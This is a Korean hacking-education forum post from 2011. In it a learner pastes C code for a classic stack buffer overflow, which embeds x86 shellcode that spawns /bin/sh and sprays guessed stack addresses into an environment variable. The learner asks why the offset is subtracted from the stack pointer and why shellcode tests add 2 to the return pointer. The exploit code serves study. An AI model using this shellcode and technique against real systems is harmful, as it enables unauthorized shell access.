|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1486 [복사]
#include <stdlib.h>
#define offset_size 0 #define buffer_size 512
char sc[] = “\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46” “\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1” “\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
unsigned long find_start(void) {
__asm__(“movl %esp,%eax”);
}
int main(int argc, char *argv[]) {
char *buff, *ptr; long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf(“Attempting address: 0x%x\n”, addr);
ptr = buff; addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr; ptr += 4;
for (i = 0; i < strlen(sc); i++) *(ptr++) = sc[i];
buff[bsize - 1] = ‘\0’;
memcpy(buff,”BUF=”,4);
putenv(buff);
system(“/bin/bash”);
}
이 코드에서 쉘코드가 있는 버퍼의 메모리 주소를 예상하는 코드에서
왜 현재 프로그램의 esp에서 -offset 을 빼주는 지 모르겠습니다.
의문점
1. 쉘을 실행해서 취약한 프로그램을 실행하면 스택프레임이 위의 프로그램 스택프레임보다 lower address에
있기 때문에 offset을 빼주는 건가요??
2. 위의 코드와는 상관이 없는 질문인데 쉘코드를 만들어서 제대로 동작하는지 확인하는 예제들에서 흔히
int* ret
ret = (int*)&ret+ 2 이런 식의 코드를 흔히 볼 수 있는데 쉘코드가 있는 주소로 return하기위함임은 알겠는데
왜 ret할 주소에다가 뒤에 2 ( 또는 다른 숫자)를 더하는 건지도 궁금합니다. |
Hit : 3580 Date : 2011/05/15 04:46
|